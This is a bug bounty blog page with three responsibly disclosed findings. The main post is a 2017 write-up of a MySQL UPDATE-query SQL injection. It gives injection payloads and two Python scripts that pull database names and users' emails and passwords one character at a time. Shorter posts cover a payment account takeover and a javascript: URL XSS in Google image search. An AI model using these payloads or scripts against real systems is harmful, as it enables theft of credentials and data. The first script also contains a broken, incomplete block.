Friday, February 17, 2017

SQL injection in an UPDATE query - a bug bounty story!

What's up whoever reading this! been a long time since I last posted something here.

Today, I will be writing about a SQL injection vulnerability I recently found.

As usual, at a hacking night after drinking my favorite cookie frappe I picked up a bug bounty program and started testing.

Like any other researcher, I was throwing XSS payloads randomly everywhere. (I usually use '"><img src=x onerror=alert(2) x= with a single quote at the beginning) and while doing so one of the endpoints returned a 500 error saying A SQL error was encountered which definitely attracted my attention.

The field returned that error was my `full name` so I went back there and immediately tried test'test which returned the same error which means that the single quote is what is causing the problem here.
Realizing that, it seemed to me that single quotes weren't escaped at the SQL query, so I tried to escape it for them(by doubling it) and see what happens. So I entered test''test  and I was shocked that the error disappeared and my name was changed to test'test !

Since the vulnerable field is used to edit the user's full name, I guessed that the vulnerable query is UPDATE. So I changed my name to '+ @@VERSION +'  and after reloading the page my name was changed to 5.6 which is the MySQL dbms version!

Note that it's a JSON request so `+` here does not represent a space(%20).

I reported what I have found so far and the vendor replied asking me to go further and extract data from the database.

Extracting data with this SQL injection seemed hard as whenever I try to extract a string the returned values were 0 because there is no concatenation for two strings using `+` in mysql.

If the server was SQL server it would be pretty easy since i can join the two strings easily using `+` for example 'x'+ @@VERSION + ' x ' would have updated my name to x5x (5 here is the dbms veraion).

However, it was a mysql server and in mysql `+` is used for summing numbers, that's why 'x'+version()+'x' was returning 5.6 , since it summed 0+5.6+0 as the integer value of a string is `0`  

so other payloads like 'x'+user()+'x' will always return 0 since the user name is a string and `+` can only be used for summing numbers as explained. 

that makes the only possible way to get the value of the string is by converting it to a number, hence I used ASCII() to convert the string to its ASCII equivalent number then after that I would grab the response and convert it from ASCII to text.

'+ length(user()) # --> to get length of the string to be retrieved
'+ ASCII(substr(user(),1)) # --> to get the first char of the string to be retrived 
'+ ASCII(substr(user(),2)) # --> to get the second char of the string to be retrived 
'+ ASCII(substr(user(),3)) # --> to get the thrird char of the string to be retrived 
and so on...

This seemed to be so annoying to do manually as I will have to use substr() to convert every single character in the response to its equivalent ASCII value then convert it back to text since MySQL ASCII function will return numeric value of left-most character.

With that said, I decided to write a simple python script that will extract and convert to text automatically.

import requests
rheaders = {} # Request headers
rcookies = {} # Request cookies
url = 'https://<target>/api/v1/' # Vulnerable endpoint
len = 1000 # length of the string (using 1000 assuming that it won't be more than that, going out of the string length will return 0 at that moment we know that we got the full string)
column = 'schema_name' # what to return
table = 'information_schema.schemata' # from what
orderby = 'schema_name'
start = 0
end = 20
for l in range(start,end):
        limit = l
        print 'Retrieving '+column+' at row ' + str(limit+1) + '...'
        if l > start and d == '':
        for i in range(1,len):
                 r = requests.put(url, json={"fullname":"' - (select ASCII(substr("+column+","+str(i)+")) from "+table+" order by "+orderby+" limit "+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
                 b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5] # Get the returned value
                 n = filter(lambda b:b>='0' and b<='9', b)
                 d += chr(int(n)) # Convert ASCII number to equivalent character

                 #print d
                 if n == '0':
                   print column + ' at row ' + str(limit+1)+' :- ', d

Now using that script I could easily extract any data from the database by changing the values of `column` , `table` and `orderby` variables.

Here is a screenshot of getting current databases the user has access to: 

With a little modification, I could extract users' emails and passwords using ASCII(substr(concat(email_address,0x3a,password),i))) 

import requests
rheaders = {}
rcookies = {}
url = 'https://<target>/api/v1/'
d = ""
len = 1000 
limit = 400000
print 'Retrieving email and pass at row', limit
for i in range(1,len):
     r = requests.put(url, json={"fullname":"' - (select ASCII(substr(concat(email_address,0x3a,password),"+str(i)+")) from __users limit "+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
     b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5]
     n = filter(lambda b:b>='0' and b<='9', b) 
     d += chr(int(n)) 
     print d
     if n == '0':
       print "Email:Password :- ", d

and after running the script:

- 14/2/2017 10:25 PM --> First submission
- 14/2/2017 11:02 PM --> The vendor asked to go further and extract data
- 14/2/2017 3:00 PM --> Resubmitted with the python script PoC
- 15/2/2017 10:22 AM --> Submitted more vulnerable parameters
- 15/2/2017 3:28 PM --> Nice Bounty awarded
- 15/2/2017 10:18 PM --> Vulnerability fixed

Saturday, November 14, 2015 critical vulnerability to remotely steal users' money

Eight days ago I tweeted about hitting with a killing vulnerability and since it's fixed and publicly disclosed on HackerOne I decided to write about it here on my blog.

In the Thursday bug hunting night like other researchers I decided to have a look at the new published programs on HackerOne so I started to look for some bugs in algolia and which were the two newest published programs. 
I found some bugs in both websites , but the most interesting one was a bug in cashier on

That bug allowed me to login to any user's cashier account by just knowing the user ID.

Technical details about the bug can be found here on HackerOne , it's publicly disclosed : rewarded me with $300 for this while I could steal thousands of money through this bug , but no , I would never do that :) 
Anyway , I am happy with my finding and actually this is one of the most serious bugs I ever found ;)

Your feedback is highly appreciated.

Friday, September 18, 2015

XSS vulnerability in Google image search

Seven days ago I reported to Google Security a XSS vulnerability I discovered in Google image search.
It's not very hard to find , but it's tricky to exploit!

I was looking for an image to set as my profile picture on HackerOne , I found the image I was looking for , opened it in a new tab and something in the url attracted me.

The url was " "

the value of the parameter "imgurl" is set to the href attribute of an <a> tag with the text "View image".

So , I tried changing that parameter to "javascript:alert(1)" and boom , the href attribute changed to "javascript:alert(1)" , How could it be that easy ? well it's not that easy.

When you click on "View image" , the href attribute value changes to " " .

I looked into the code and found that google had an onmousedown event that changes the href attribute to google redirection page. Sad , huh?
I tried a lot of things to bypass this , but still no luck!

I finally used my keyboard , pressed the [tab] key till I get the "View Image" button focused , press enter and the XSS was triggered.

12/9/2015 Vulnerability discovered and reported
15/9/2015 Google confirmed the issue
16/9/2015 Fix and rewad